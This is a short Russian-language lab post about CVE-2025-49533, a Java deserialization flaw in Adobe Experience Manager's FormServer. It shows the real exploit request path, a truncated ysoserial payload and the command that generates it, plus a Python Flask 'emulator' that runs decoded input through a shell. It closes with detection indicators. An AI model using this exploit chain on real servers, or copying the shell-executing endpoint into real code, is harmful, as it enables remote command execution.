CVE-2025-49533. CVE-2025-49533 — это уязвимость десериализации Java в модуле FormServer. Сервлет обрабатывает данные от пользователя, декодируя и десериализуя их без проверки в Adobe Experience Manager версии >= 6.5.23. Это может позволить злоумышленникам отправлять вредоносные данные, чтобы выполнять команды на сервере.
😬 Реальная эксплуатация будет выглядеть так:
/FormServer/servlet/GetDocumentServlet?serDoc=<@urlencode>H4sIAAAAAAAAA61WS28bVRg949dMJk6auknTppT03SRtZ5q45NGkTRu3adwaGnCaSrhSdD252NPYM9OZO41dCRas+AFsWCIhddFuWlCpkEBiCQtWrGCDhGCBBBs2SDy/…….</@urlencode>
Эта полезная нагрузка — результат выполнения:
java -DproperXalan=true -jar ysoserial-all.jar CommonsBeanutils1 "<RCE>" | gzip | base64 -w0
Хоть уязвимость вызвана в модуле Java, но мы будем использовать python, чтобы проще ее объяснить и смоделировать.
💡 Важное уточнение: этот код — эмуляция десериализации, реальных объектов не создает и функции не вызывает.
Создадим шаблон полезной нагрузки.
<@urlencode> RCE </@urlencode>
RCE — это результат выполнения команды.
echo -n "nslookup google.com" | gzip | base64 -w0
Итоговый payload:
<@urlencode>H4sIAAAAAAAAA8srzsnPzy4tUEjPz0/PSdVLzs8FAOZL2oUTAAAA</@urlencode>
Pуthon сервер:
import urllib.parse
import base64
import gzip
import io
from flask import Flask, request
import subprocess
import logging
app = Flask(__name__)
# Set up logging
logging.basicConfig(
filename='exploit.log',
level=logging.INFO,
format='[%(asctime)s] %(message)s',
)
@app.route('/rce')
def debug():
payload = request.args.get('cmd')
if payload:
if payload.startswith("<@urlencode>") and payload.endswith("</@urlencode>"):
payload = payload[len("<@urlencode>"):-len("</@urlencode>")]
print(payload)
decoded_url = urllib.parse.unquote_plus(payload)
print(decoded_url)
decoded_bytes = base64.b64decode(decoded_url)
print(decoded_bytes)
try:
with gzip.GzipFile(fileobj=io.BytesIO(decoded_bytes)) as f:
decompressed = f.read()
except Exception:
decompressed = decoded_bytes
ascii_text = ''.join([chr(b) if 32 <= b <= 126 else '.' for b in decompressed])
try:
cmd = ascii_text[:1000]
output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, text=True)
return f"<pre>{output}</pre>"
except subprocess.CalledProcessError as e:
return f"<pre>Error:\n{e.output}</pre>"
else:
return "example /rce?cmd=<@urlencode>H4sIAAAAAAAAA8srzsnPzy4tUEjPz0/PSdVLzs8FAOZL2oUTAAAA</@urlencode>", 400
if __name__ == '__main__':
app.run(host='0.0.0.0', port=4502, debug=True)
При отправке нашего payload на сервере произойдет:
1️⃣ отчистка от тегов <@urlencode> <\@urlencode>;
2️⃣ декодирование URL;
3️⃣ декодирование в Base64;
4️⃣ распаковка gzip;
5️⃣ выполнение RCE.
😬 Как защититься:
1) При реальной эксплуатации запрос будет представлять собой Base64 строку в тегах
<@urlencode> </@urlencode>.2) Base64 строка будет начинаться с
H4s, что говорит о формате gzip .3) Полезная нагрузка передается методом
GET .4) Конечная точка
/FormServer/servlet/GetDocumentServlet .Ставьте ❤️, если хотите видеть больше лабораторных работ в канале.
